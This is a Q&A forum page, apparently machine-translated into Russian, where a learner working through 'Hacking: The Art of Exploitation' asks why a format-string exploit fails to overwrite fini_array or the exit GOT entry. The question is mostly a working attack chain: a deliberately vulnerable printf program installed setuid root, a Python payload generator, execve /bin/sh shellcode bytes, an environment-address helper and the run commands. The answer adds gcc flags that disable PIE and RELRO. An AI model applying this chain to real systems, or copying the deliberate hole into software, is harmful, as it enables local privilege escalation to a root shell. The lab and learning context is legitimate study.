Как отключить relro для перезаписи fini_array или элемента got.plt - PullRequest
1 голос
/ 02 марта 2020

Я читаю книгу «Взлом: искусство эксплуатации», и есть пример использования строки формата, который пытается перезаписать адрес dtors адресом переменной среды шеллкода. Я работаю на Kali Linux 64-bit и уже выяснил, что нет dtors (деструкторов c программы), и поэтому теперь я пытаюсь переписать fini_array или адрес выхода в ".got.plt" ( Я думал, что это также будет работать с частичным relro. Поэтому я не могу писать в got.plt, это моя самая большая проблема, с которой я пытаюсь получить помощь).

Я уже убедился, что эксплойт пишет правильный адрес указанный адрес, но когда я запускаю его с адресом fini_array или got.plt, я получаю ошибку SIGSEV или «Недопустимая инструкция». После прочтения this я думаю, что проблема в том, что частичный relro не позволит мне перезаписать fini_array, поскольку он делает fini_array среди многих других только для чтения. Это программа python, которую я использую для использования программы vuln:

import struct
import sys

num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0

if len(sys.argv) > 1:
    num = int(sys.argv[1], 0)
    if len(sys.argv) > 2:
        test_val = int(sys.argv[2], 0)
        if len(sys.argv) > 3:
            num1 = int(sys.argv[3], 0)# - num
            if len(sys.argv) > 4:
                num2 = int(sys.argv[4], 0)# - num1 - num
                if len(sys.argv) > 5:
                    num3 = int(sys.argv[5], 0)# - num2 - num1 - num

addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6


vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))

def pad(s):
    return s+"X"*(1024-len(s)-32)

exploit = ""
prev_val = 0
for val, addr in vals:
    if not val:
        continue
    val_here = val - prev_val
    prev_val = val
    exploit += "%{}x".format(val_here)
    if addr == test_val:
        exploit += "%132$hn"
    elif addr == addr1:
        exploit += "%133$hn"
    elif addr == addr2:
        exploit += "%134$hn"
    elif addr == addr3:
        exploit += "%135$hn"
exploit = pad(exploit)

exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)

print pad(exploit)

Когда я передаю адрес переменной среды шеллкода и адрес fini_array, полученный с помощью

objdump -s -j .fini_array ./vuln

Я просто получаю SegmentationFault.

Также очень странно, что это также происходит, когда я пытаюсь перезаписать адрес в разделе .got.plt, который на самом деле не должен зависеть от частичного relro, что означает, что я должен быть могу написать, но на самом деле я не могу. Более того, "ld --verbose ./vuln" показывает это:

.dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
  .got.plt        : { *(.got.plt) *(.igot.plt) }

Это доказательство того, что .got.plt не должен быть доступен только для чтения, но почему я не могу писать в него тогда?

Теперь мой вопрос: какой обходной путь (возможно, некоторые варианты g cc) я мог бы использовать для решения своей проблемы. Даже если было невозможно перезаписать .fini_array, почему у меня такая же проблема с .got.plt и как я могу ее решить? Я думаю, что проблема с разделом .got.plt может быть связана с тем, что я не могу выполнить шелл-код, поскольку он является частью буфера. Так есть ли опции g cc, чтобы сделать буфер исполняемым?

Вот что такое vuln. c:

include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;

  fgets(text, sizeof(text), stdin);

  printf("The right way to print user-controlled input:\n");
  printf("%s\n", text);

  printf("The wrong way to print user-controlled input:\n");
  printf(text);

  printf("\n");

  printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val);
  exit(0);
}

Я компилирую vuln. c с помощью g cc 9.2.1 вот так:

gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln

Это шелл-код:

\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

Я экспортировал это как двоичный файл в переменную SHELLCODE, скопировав вышеприведенный шестнадцатеричный код в input.txt. Затем запустите:

xxd -r -p input.txt output.bin

Теперь экспортируйте его:

export SHELLCODE=$(cat output.bin)

Сценарий getenv. c используется для получения адреса Shellcode:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[]) {
  char *ptr;

  if (argc < 3) {
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]);
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
  printf("%s will be at %p\n", argv[1], ptr);
  return 0;
}

Чтобы использовать его, запустите:

./getenvaddr SHELLCODE ./vuln

Он сообщает, какой адрес будет иметь переменная SHELLCODE при запуске программы vuln. Наконец, я нахожу адрес функции выхода в глобальной таблице смещений следующим образом:

objdump -R ./vuln

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE  *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

Здесь адрес выхода будет 0x4038

Теперь я пишу адрес шелл-кода, скажем, 0x7fffffffe5e5 на адрес функции выхода 0x4038, так что программа должна быть перенаправлена ​​в оболочку вместо выхода следующим образом:

python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln

Это основной принцип:

python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln

1 Ответ

0 голосов
/ 03 марта 2020

Перемещения и нижние адреса, подобные этому:

0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170

предполагают, что исполняемый файл был построен как P IE (позиционно-независимый исполняемый файл) с рандомизацией с полной компоновкой адресного пространства (ASLR). Это означает, что адреса не соответствуют представлению stati c из objdump и отключены для каждого запуска.

Как правило, сборка с gcc -no-pie отключает ASLR. Если вы используете gcc -no-pie -Wl,-z,norelro, вы также отключите (частичное) RELRO.

...